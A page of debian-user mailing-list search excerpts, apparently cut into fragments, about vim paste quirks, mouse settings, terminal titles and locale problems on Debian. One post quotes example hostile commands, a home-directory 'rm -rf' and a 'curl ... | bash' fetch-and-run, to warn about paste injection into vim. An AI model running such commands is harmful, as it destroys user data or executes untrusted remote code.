On 23/07/2024 19:07, Thomas Schmitt wrote:
Max Nikulin wrote:
Some ideas:
:help :make
:help clientserver
I think these two lean a little too much towards the ":!rm -rf" side.
It was in the context of jumping to compiler error. You can start build
from vim or load a lo
On Tue, Jul 23, 2024 at 14:07:04 +0200, Thomas Schmitt wrote:
> Is there a Debian apt-fu which lets me replace "vi" by "rvim" and "view"
> by "rview" ? (So that this PEBKAC cannot fall back to old habits ?)
update-alternatives, or just set up some personal shell aliases.
Hi,
Max Nikulin wrote:
> I mean something like ":!rm -rf ~ &" or "curl http://example.com/weird |
> bash &" after a newline.
Although this attack vector does not match my copy+paste habits, i shall
think about replacing my use of vim by rvim. man vim says:
riven. It frequently happens that the C compiler issues justified
complaints like:
./read_run.c:2780:15: error: ‘dsk_path’ undeclared (first use in this
function)
Some ideas:
:help :make
:help clientserver
Then i double click the "2780", paste it into the xterm where vim has
It frequently happens that the C compiler issues justified
complaints like:
./read_run.c:2780:15: error: ‘dsk_path’ undeclared (first use in this
function)
Then i double click the "2780", paste it into the xterm where vim has
"read_run.c" open, and press key 'G'. Thi
On 23/07/2024 00:40, Thomas Schmitt wrote:
Greg Wooledge wrote:
https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi
Apparently when in an "xterm environment" (whatever that means; apparently
it includes rxvt-unicode), turning on bracketed paste mode works:
:set t
n Ravuthan wrote:
> > 5. What will be the impact for upgrading Debian 10 with Kernel 4.19 to
> > Debian 11 with Kernel 5.10.
I wrote:
> At least "bracketed-paste" and maybe other unsolicited changes.
> (Yesterday i had to learn how to repair vim on a SuSE sy
I found a fix:
https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi
Apparently when in an "xterm environment" (whatever that means; apparently
it includes rxvt-unicode), turning on bracketed paste mode works:
:set t_BE=
The = is required.
Greg Wooledge wrote:
> In my testing, I ran vim with no arguments, and typed in a single line
> of gibberish. Then, I moved the cursor to column 0. Finally, I typed
> out the command 20l in a different terminal, highlighted it, and pasted
> it into vim. Rather than moving
On Mon, Jul 22, 2024 at 11:23:19 -0400, Justin Piszcz wrote:
> On Mon, Jul 22, 2024 at 11:20 AM Greg Wooledge wrote:
> >
> > On Mon, Jul 22, 2024 at 17:08:15 +0200, Thomas Schmitt wrote:
> > > Since an upgrade from Debian 11 to 12 the vim command
> > >
> &g
On Mon, 22 Jul 2024 at 15:09, Thomas Schmitt wrote:
> (I have no Debian 11 at hand any more. It would be nice if one of the
> vim users of Debian 11 could confirm that after
> :set mouse=
> pasting the number text "123" by the mouse and pressing "G" on the
>
Hi,
Greg Wooledge wrote:
> I'm not sure how you've got it configured, but just having a ~/.vimrc
> file should be enough to disable the default system vimrc which has all
> that broken mouse crap.
The problem is that the old way of crap-disabling does not work here.
I can
On Mon, Jul 22, 2024 at 11:20 AM Greg Wooledge wrote:
>
> On Mon, Jul 22, 2024 at 17:08:15 +0200, Thomas Schmitt wrote:
> > Since an upgrade from Debian 11 to 12 the vim command
> >
> > :set mouse=
> >
> > does not disable the "GUI" interpretation
On Mon, Jul 22, 2024 at 17:08:15 +0200, Thomas Schmitt wrote:
> Since an upgrade from Debian 11 to 12 the vim command
>
> :set mouse=
>
> does not disable the "GUI" interpretation of pasting text or numbers
> when vim is in normal mode [...]
I'm not sure how y
Hi,
i am running vim in xterm windows.
Since an upgrade from Debian 11 to 12 the vim command
:set mouse=
does not disable the "GUI" interpretation of pasting text or numbers
when vim is in normal mode (i.e. when pressing ':' leads to a command
prompt in the base line an
Stefan Monnier wrote:
> > I have not said it is more “standard for terminals”, I have that it
> > is more “standard” fullstop. It is more standard by the virtue of
> > having worked for decades, C-Ins S-Ins S-Del existed way before the
> > C-C C-V C-X tryptich, and still working today in most cont
On Wed, Feb 07, 2024 at 01:20:19PM +0100, Nicolas George wrote:
> Max Nikulin (12024-02-07):
> > It may be a convention for applications other than terminals, however I am
> > unsure what "standard" means for terminals.
>
> I have not said it is more “standard for terminals”, I have that it is
> m
On 07/02/2024 19:20, Nicolas George wrote:
Max Nikulin (12024-02-07):
It may be a convention for applications other than terminals, however I am
unsure what "standard" means for terminals.
I have not said it is more “standard for terminals”, I have that it is
more “standard” fullstop. It is mo
> I have not said it is more “standard for terminals”, I have that it is
> more “standard” fullstop. It is more standard by the virtue of having
> worked for decades, C-Ins S-Ins S-Del existed way before the C-C C-V C-X
> tryptich, and still working today in most contexts.
Indeed, IIUC these key b
On 07/02/2024 19:19, Greg Wooledge wrote:
On Tue, Feb 06, 2024 at 11:02:09PM -0800, David Christensen wrote:
* Pressing " then + then p seems to paste from the default Vim buffer --
what I seem to recall being referred to as the "yank buffer" (?).
* Pressing " then * then p
Max Nikulin (12024-02-07):
> It may be a convention for applications other than terminals, however I am
> unsure what "standard" means for terminals.
I have not said it is more “standard for terminals”, I have that it is
more “standard” fullstop. It is more standard by the virtue of having
worked
On Tue, Feb 06, 2024 at 11:02:09PM -0800, David Christensen wrote:
> * Pressing " then + then p seems to paste from the default Vim buffer --
> what I seem to recall being referred to as the "yank buffer" (?).
>
> * Pressing " then * then p seems to paste from th
On 2/6/24 06:25, Max Nikulin wrote:
On 06/02/2024 13:28, David Christensen wrote:
On 2/5/24 19:03, Max Nikulin wrote:
xclip -o -selection PRIMARY
xclip -o -selection CLIPBOARD
That is useful.
I expected that you would try both commands when vim is unable to paste.
It would allow
On 2/6/24 05:48, John Hasler wrote:
My .vimrc contains
syntax on
set mouse-=a
And pasting works.
Thank you for the reply. :-)
If and when Firefox, Debian, X, Xfce, Terminal, and/or Vim misbehave
again, I will try your suggestions.
VIM - Vi IMproved 9.0 (2022 Jun 28, compiled Nov 20
On 2/6/24 03:33, Ralph Aichinger wrote:
On Mon, 2024-02-05 at 15:14 -0800, David Christensen wrote:
I am unable to determine if the problem is Firefox, Vim, or something
else.
Comments or suggestions?
As others have written, vim has changed copy+paste defaults some time
ago. Some even call
On 2/6/24 00:12, Klaus Singvogel wrote:
David Christensen wrote:
On 2/5/24 21:45, to...@tuxteam.de wrote:
Try ":set mouse=" and see whether it helps. Perhaps it's that.
That's the way. That's the fix for the root cause.
Thank you for the reply. :-)
Currently, F
On 2/6/24 04:28, Greg Wooledge wrote:
On Mon, Feb 05, 2024 at 10:28:53PM -0800, David Christensen wrote:
Continuing from above in Vim in Insert mode, if I then simultaneously press
the Ctrl, Shift, and v keys, and then release all keys, Vim inserts the
contents of the clipboard; as confirmed by
On 2/6/24 03:15, Dan Ritter wrote:
David Christensen wrote:
On 2/5/24 16:48, Dan Ritter wrote:
David Christensen wrote:
Please provide a URL that describes the Vim "+ and "* buffers, how to
interact with them within Vim, how to interact with them from other apps,
etc
gnome-terminal or terminator)
Thank you for the reply. :-)
Firefox and Vim seem to be playing nice today -- I can select text in
Firefox and paste via middle-click into a window running Terminal
running Vim. I tried several times, but was unable to get them to
malfunction.
Similarly, Ctrl
On 07/02/2024 00:35, Ralph Aichinger wrote:
On Tue, 2024-02-06 at 21:31 +0700, Max Nikulin wrote:
is active in terminal, it is possible to hold [Shift] to get mouse
events handled by terminal instead of Vim or another application
running in terminal.
I think pressing shift does not work here
On 07/02/2024 00:38, Nicolas George wrote:
Max Nikulin (12024-02-07):
Shift Ctrl C:
CtrlInsert is the standard counterpart to ShiftInsert.
It may be a convention for applications other than terminals, however I
am unsure what "standard" means for terminals. Konsole has "reverted"
On Tue, 2024-02-06 at 21:31 +0700, Max Nikulin wrote:
> is active in terminal, it is possible to hold [Shift] to get mouse
> events handled by terminal instead of Vim or another application
> running in terminal.
I think pressing shift does not work here in e.g. gnome-terminal,
beca
Max Nikulin (12024-02-07):
> Shift Ctrl C:
CtrlInsert is the standard counterpart to ShiftInsert.
> exec-formatted("sh -c 'xsel --output --primary |
> \
> exec xsel --input --clipboard'", PRIMARY)\n\
copy-selection
;, PRIMARY)\n\
Shift Ctrl V: insert-selection(CLIPBOARD)
As to + and * registers. What kind of vim do you use? At least vim-gtk3
provides console vim binary built with x11 support. Perhaps it is
+xterm_clipboard option.
unicorn:~$ vim --version | sed -n -e 1,2p -e /GUI/p -e /clip/p
On Tue, Feb 06, 2024 at 03:36:23PM +, debian-u...@howorth.org.uk wrote:
> I know I don't like xterm so I never use it. I mainly use lxterminal
> and sometimes gnome-terminal but they both must be 'exotic' since they
> behave as David said.
The following NEW packages will be installed:
libvte
Greg Wooledge wrote:
> On Mon, Feb 05, 2024 at 10:28:53PM -0800, David Christensen wrote:
> > Continuing from above in Vim in Insert mode, if I then
> > simultaneously press the Ctrl, Shift, and v keys, and then release
> > all keys, Vim inserts the contents of the clipboard
On Tue, Feb 06, 2024 at 09:38:11PM +0700, Max Nikulin wrote:
> On 06/02/2024 19:28, Greg Wooledge wrote:
> > On Mon, Feb 05, 2024 at 10:28:53PM -0800, David Christensen wrote:
> > > Continuing from above in Vim in Insert mode, if I then simultaneously
> > > press
> &
On 06/02/2024 19:28, Greg Wooledge wrote:
On Mon, Feb 05, 2024 at 10:28:53PM -0800, David Christensen wrote:
Continuing from above in Vim in Insert mode, if I then simultaneously press
the Ctrl, Shift, and v keys, and then release all keys, Vim inserts the
contents of the clipboard; as
On Tue, Feb 06, 2024 at 09:31:33PM +0700, Max Nikulin wrote:
[...]
> Concerning set "mouse=", I usually use it, but even when mouse handling is
> active in terminal, it is possible to hold [Shift] to get mouse events
> handled by terminal instead of Vim or another app
On 06/02/2024 18:33, Ralph Aichinger wrote:
As others have written, vim has changed copy+paste defaults some time
ago. Some even call this changing defaults "they broke copy+paste" 😉.
I am using vim in GUI terminal applications and I have not noticed it.
Vim is a rare applic
On 06/02/2024 13:28, David Christensen wrote:
On 2/5/24 19:03, Max Nikulin wrote:
xclip -o -selection PRIMARY
xclip -o -selection CLIPBOARD
That is useful.
I expected that you would try both commands when vim is unable to paste.
It would allow to discriminate whether it is Firefox
My .vimrc contains
syntax on
set mouse-=a
And pasting works.
VIM - Vi IMproved 9.0 (2022 Jun 28, compiled Nov 20 2023 16:05:25)
Included patches: 1-2116
--
John Hasler
j...@sugarbit.com
Elmwood, WI USA
n my own testing just now, I'm unable to get this to
work. vim (version 2:9.0.1378-2) running in urxvt, command mode,
pressing "+ or "* generates a terminal bell. Pressing p after
either one of these pastes what's in vim's unnamed default buffer.
On Mon, Feb 05, 2024 at 10:28:53PM -0800, David Christensen wrote:
> Continuing from above in Vim in Insert mode, if I then simultaneously press
> the Ctrl, Shift, and v keys, and then release all keys, Vim inserts the
> contents of the clipboard; as confirmed by:
>
> xcli
On Mon, 2024-02-05 at 15:14 -0800, David Christensen wrote:
> I am unable to determine if the problem is Firefox, Vim, or something
> else.
>
> Comments or suggestions?
As others have written, vim has changed copy+paste defaults some time
ago. Some even call this changing defaults
David Christensen wrote:
> On 2/5/24 16:48, Dan Ritter wrote:
> > David Christensen wrote:
>
>
> Please provide a URL that describes the Vim "+ and "* buffers, how to
> interact with them within Vim, how to interact with them from other apps,
> etc..
ht
David Christensen wrote:
> On 2/5/24 21:45, to...@tuxteam.de wrote:
> > Try ":set mouse=" and see whether it helps. Perhaps it's that.
That's the way. That's the fix for the root cause.
> I am unable to correlate that Vim setting change to the Vim paste probl
On Mon, Feb 05, 2024 at 11:07:53PM -0800, David Christensen wrote:
> On 2/5/24 21:45, to...@tuxteam.de wrote:
[...]
> I am not aware of any problems pasting into other applications, just pasting
> into Vim.
>
>
> > Vim has changed its defaults a while ago in an annoying wa
On 2/5/24 21:45, to...@tuxteam.de wrote:
On Mon, Feb 05, 2024 at 03:14:45PM -0800, David Christensen wrote:
debian-user:
I have a laptop with:
[copy in Firefox, paste in vim]
I am unable to determine if the problem is Firefox, Vim, or something else.
Are you able to paste into another
On 2/5/24 16:48, Dan Ritter wrote:
David Christensen wrote:
Normally, I can cut and paste between Xfce desktop applications.
Enter a Zip Code of "12345", highlight the first result, copy it to the
clipboard, start Terminal, open a file with Vim, press "i" to enter in
useful.
To access primary selection or clipboard in vim use * and +
registers: "*p in normal mode
If I start Firefox, browse to https://www.toyota.com/dealers, select the
the first dealer contents, start Vim, press and release the double-quote
key, press and release the asterisk key, and
On Mon, Feb 05, 2024 at 03:14:45PM -0800, David Christensen wrote:
> debian-user:
>
> I have a laptop with:
[copy in Firefox, paste in vim]
> I am unable to determine if the problem is Firefox, Vim, or something else.
Are you able to paste into another application?
Vim has
ontent is not
available any more. To make selection "persistent", you may try some
clipboard manager, but it may have not always desirable side effects.
To debug you may use xsel or xclip
xclip -o -selection PRIMARY
xclip -o -selection CLIPBOARD
To access primary selection or cli
David Christensen wrote:
> Normally, I can cut and paste between Xfce desktop applications.
>
>
> Enter a Zip Code of "12345", highlight the first result, copy it to the
> clipboard, start Terminal, open a file with Vim, press "i" to enter insert
> mode, an
Am 06.02.2024 um 00:14 schrieb David Christensen:
> Comments or suggestions?
This may be unrelated, but ...
I can copy/paste using the mouse, or - if i use the keyboard - i need to
copy paste using CTRL-Shift-C and CTRL-Shift-V (when in the terminal
emulator like gnome-terminal or terminator)
On 2/5/24 15:44, Bret Busby wrote:
On 6/2/24 07:14, David Christensen wrote:
debian-user:
I have a laptop with:
2024-02-05 15:04:48 dpchrist@laalaa ~
$ cat /etc/debian_version ; uname -a ; dpkg-query -W xfce4 firefox-esr
vim
11.8
Linux laalaa 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023
On 6/2/24 07:14, David Christensen wrote:
debian-user:
I have a laptop with:
2024-02-05 15:04:48 dpchrist@laalaa ~
$ cat /etc/debian_version ; uname -a ; dpkg-query -W xfce4 firefox-esr vim
11.8
Linux laalaa 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31)
x86_64 GNU/Linux
firefox-esr
debian-user:
I have a laptop with:
2024-02-05 15:04:48 dpchrist@laalaa ~
$ cat /etc/debian_version ; uname -a ; dpkg-query -W xfce4 firefox-esr vim
11.8
Linux laalaa 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31)
x86_64 GNU/Linux
firefox-esr 115.7.0esr-1~deb11u1
vim 2:8.2.2434
nd-all when it comes to editor plugins.
Certainly not for the Vim folks and even though speed was one the
grounds for the change, as far as I'm aware it's not the most important.
>Until vim9 I thought vim as a slimmer version of neovim but
>it's the opposite.
I've nev
vimscript9
feels like a bad decision, it is incompatible with vimscript2 and does
not match performance with lua. We definitely don't need another
language. Until vim9 I thought vim as a slimmer version of neovim but
it's the opposite. Currently there is confusion among developers wh
Em 20/09/2021 17:36, Mark Neyhart escreveu:
> On 9/18/21 5:14 PM, Dedeco Balaco wrote:
>> Vim is one of these programs. While it is running, the terminal title
>> shows the name of the file currently being edited, and the number of
>> files that was opened with it,
On 9/18/21 5:14 PM, Dedeco Balaco wrote:
> Vim is one of these programs. While it is running, the terminal title
> shows the name of the file currently being edited, and the number of
> files that was opened with it, when it was launched.
>
> After the upgrade, when i quit vim, the
> reset the title.
> > >
> > > Specifically this is desirable whenever you want the title to show
> > > a "changing" property (in this case, for example, the current
> > > working directory).
> > >
> > > > But
king your expectations.
> So, i do not know if Vim restored the title it received. This is
> something that makes sense, since vim always changes the title, when
> called from a terminal.
>
> But, on another path of thought that makes sense, the shell and the
> terminal resto
> > a "changing" property (in this case, for example, the current
> > working directory).
> >
> > > But there is something this would hide, and which i did
> > > not yet found an explanation for: sometimes, the default title is reset
&
But there is something this would hide, and which i did
> > not yet found an explanation for: sometimes, the default title is reset
> > after quitting vim, and sometimes not.
>
> That was my question: did you really observe vim resetting the title at
> program end
lt title is reset
> after quitting vim, and sometimes not.
That was my question: did you really observe vim resetting the title at
program end, or was it something set dynamically by your shell (you
said you changed your PS1 before the upgrade and the title was "fixed"
at vim&
r prompt as it adds code that is not
displayed in the prompt to the PS1 variable. Any user setting of PS1 is
undisturbed as shown by the $PS1 at the end.
> And do not forget one thing: the tabs' titles are working almost as they
> were before. With vim, sometimes, it does not reset when
ove, you have "\u@\h: \w\a\" written twice. This is because one (the
> first) is to set the title, and another (the second) is to set the prompt.
I know, I know (after all, I analysed that in another mail). I was
just trying to reverse-engineer how things are working (by default)
on my
On Sun, Sep 19, 2021 at 01:58:16PM -0300, Dedeco Balaco wrote:
>
>
> > tomas@trotzki:~$ echo $PS1
> > \[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\u@\h:\w\$
> >
>
> There has been a lot of time that i use a fancy PS1. But it does not
> touch the terminal title, it never did. I jus
understand you. I have said my prompt is (and always were)
> fancy. Then, you say that this might be the cause of the problem - BUT,
> as a possible try to solve, you tell me to make another fancy prompt.
>
> And do not forget one thing: the tabs' titles are working almost as the
. (There are three of them in xterm, depending on
> whether you want to set the title, or the icon's name, or both. Debian
> is using the one that sets both.)
>
I do not understand you. I have said my prompt is (and always were)
fancy. Then, you say that this might be the cause of t
On Sun, Sep 19, 2021 at 01:54:48PM -0300, Dedeco Balaco wrote:
> > Once we know what $TERM is, we can advise.
> >
>
> $ echo $TERM
> xterm-256color
Huh... OK.
On Sun, Sep 19, 2021 at 01:58:16PM -0300, Dedeco Balaco wrote:
>
>
> > tomas@trotzki:~$ echo $PS1
> > \[\e]0;\u@\h: \w\a\]${debi
> tomas@trotzki:~$ echo $PS1
> \[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\u@\h:\w\$
>
There has been a lot of time that i use a fancy PS1. But it does not
touch the terminal title, it never did. I just worked in it to get a
satisfying informative prompt.
>
> Assuming the OP is using Debian's provided .bashrc file (and other
> shell dotfiles), PS1 is changed when .bashrc is read, which normally
> means when bash is started as an interactive, non-login shell.
>
> Running "bash" would do that. I prefer "exec bash" because it gives
> a cleaner sta
ay with pretending he has an xterm.
That's not would I would suggest.
> @Dedeco: what happens if you say "export TERM=xterm", start a new
> shell [1] (i.e. you say "bash") and then start vim?
It would be more useful to know what $TERM is *currently* set to.
(And also
copy that of the Xterm, to stay compatible (although
these days you never know).
So perhaps the OP gets away with pretending he has an xterm.
@Dedeco: what happens if you say "export TERM=xterm", start a new
shell [1] (i.e. you say "bash") and then start vim?
Cheers
[1] I don't know when PS1 gets refreshed, so being carefully here
- t
signature.asc
Description: Digital signature
On Sun, Sep 19, 2021 at 09:44:58AM +0200, to...@tuxteam.de wrote:
> I've no Mate terminal here (just plain xterm), but this fourth way is
> the one Debian chose for me: the shell prompt (via the PS1 variable)
> is the one working the magic. I guess Mate terminal works as Xterm
> here.
>
> It's def
On Sun, Sep 19, 2021 at 06:49:15AM -0300, Dedeco Balaco wrote:
> Is there a log where the previous version of Mate and mate-terminal are
> written?
It should be in /var/log/dpkg* assuming those didn't get rotated away.
I've got files up to dpkg.log.12.gz dated Sep 28, 2020.
Try this: zgrep 'upgra
On Sat, Sep 18, 2021 at 10:23:06PM -0400, Greg Wooledge wrote:
> On Sat, Sep 18, 2021 at 10:14:39PM -0300, Dedeco Balaco wrote:
> > My window manager is Mate Desktop. The terminal i most use is its own.
> > And i use vim a lot,
[...]
> Vim has another setting called "tit
On Sat, Sep 18, 2021 at 10:14:39PM -0300, Dedeco Balaco wrote:
> My window manager is Mate Desktop. The terminal i most use is its own.
> And i use vim a lot,
> After the upgrade, when i quit vim, the terminal title becomes empty,
> instead of returning to the default title "Ter
Em 18/09/2021 22:49, Jeremy Hendricks escreveu:
> I apologize for assuming you upgraded from 9 to 11 directly (skipping
> 10). It’s a common misconception that is acceptable.
>
No problem. Actually, my first try to update was directly from a not
completely updated Debian 9 to the current Debian
ble. I do not find a clear condition to
> make it happen. Searching about your suggestion, I found that vim has a
> few very important arguments, where 2 of them interest me a lot, to
> isolate this issue (I guess):
>
> $ vim -u NORC # does not load any RC file, global or
I did not leap any release. I did everything correctly, step by step.
The issue is not being reprodutible. I do not find a clear condition to
make it happen. Searching about your suggestion, I found that vim has a
few very important arguments, where 2 of them interest me a lot, to
isolate this
Generally it’s not recommended to leap frog over releases and you should
upgrade in order (Ex. From 9 to 10). I suspect you might need to delete
some of the config files in your home directory (rename them it .bak) as
the version of vim, etc might be considerable different from 9 to 11 and
might
Hello,
I recently upgraded my Debian 9 to Debian 11. But there are strange or
wrong things happening right now, that did not exist before.
My window manager is Mate Desktop. The terminal i most use is its own.
And i use vim a lot, and i basically never use gvim, i prefer it through
a terminal
On Tue, May 18, 2021 at 11:37 IL Ka wrote
…
Thanks!
-Tom
On Tue, May 18, 2021 at 09:36 Greg Wooledge wrote:
> On Tue, May 18, 2021 at 09:25:30AM -0500,
…
Thanks, Greg.
-Tom
I can use Emacs and
>> can see and enter Unicode chars.
>>
>> But in the same terminal, when I run vim, I have trouble editing or
>> seeing most Unicode chars above ASCII.
>>
>>
>>
>>
>>
>> Type ":set fileencoding?" from
Eike Lantzsch ZP6CGE wrote:
> To noboy in particular:
> Yes, that is so and for whatever reasons there might be, it is extremely
> confusing causing frustration, despair and eventually anger.
> It is especially exasperating if one works with several DE which,
> contrary to the underlying distribut
On Dienstag, 18. Mai 2021 13:04:00 -04 hdv@gmail wrote:
> On 2021-05-18 18:37, IL Ka wrote:
> > Thanks all. I looked at my config files (which go back at least
> > 15
> > years) and found lots of explicitly setting both LC_ALL=C and
> > LC_LANG=C.
> >
> > Should I remove all, or
On Tue, May 18, 2021 at 11:24:39AM -0500, Tom Browder wrote:
> Thanks all. I looked at my config files (which go back at least 15 years)
> and found lots of explicitly setting both LC_ALL=C and LC_LANG=C.
>
> Should I remove all, or just remove the LC_ALL?
LC_LANG isn't even a variable that actua
On 2021-05-18 18:37, IL Ka wrote:
Thanks all. I looked at my config files (which go back at least 15
years) and found lots of explicitly setting both LC_ALL=C and LC_LANG=C.
Should I remove all, or just remove the LC_ALL?
> Using LC_ALL is strongly discouraged as it overrides eve
ut in the same terminal, when I run vim, I have trouble editing or seeing
> most Unicode chars above ASCII.
>
> Type ":set fileencoding?" from inside vim.
>
> What do you see?
I see at the bottom of the window (without the square brackets):
[ fileencoding= ]
>
>
> Thanks all. I looked at my config files (which go back at least 15 years)
> and found lots of explicitly setting both LC_ALL=C and LC_LANG=C.
>
> Should I remove all, or just remove the LC_ALL?
>
> Using LC_ALL is strongly discouraged as it overrides everything. Please
use it only when testi
On Tue, May 18, 2021 at 09:25 Tom Browder wrote:
> I'm running Debian Buster. Inside a terminal window I can use Emacs and
> can see and enter Unicode chars.
>
...
Thanks all. I looked at my config files (which go back at least 15 years)
and found lots of explicitly setting both LC_ALL=C and LC_
On Tue, May 18, 2021 at 11:08 Steve Dondley wrote:
> On 2021-05-18 10:25 AM, Tom Browder wrote:
>
> I'm running Debian Buster. Inside a terminal window I can use Emacs and
> can see and enter Unicode chars.
>
> But in the same terminal, when I run vim, I have trouble e
On 2021-05-18 10:25 AM, Tom Browder wrote:
> I'm running Debian Buster. Inside a terminal window I can use Emacs and can
> see and enter Unicode chars.
>
> But in the same terminal, when I run vim, I have trouble editing or seeing
> most Unicode chars above ASCII.
Typ
On Tue, May 18, 2021 at 09:25 Tom Browder wrote:
...
>
I show the LANG env var set to 'en-US.UTF-8'. When I execute 'locale' I get:
>
> LANG=en-US.UTF-8
>
Sorry, typo, should be: 'en_US.UTF-8' # underscore, not hyphen
-Tom
On Tue, May 18, 2021 at 05:32:26PM +0300, IL Ka wrote:
> >
> > LC_CTYPE="C"
> >
> > this may be a problem.
>
> Try
> $ LC_CTYPE=en_US.UTF-8 vim $YOUR_FILE
That may not be enough. The "C" being in quotes in the output of locale
for thi
1 - 100 of 1434 matches
Mail list logo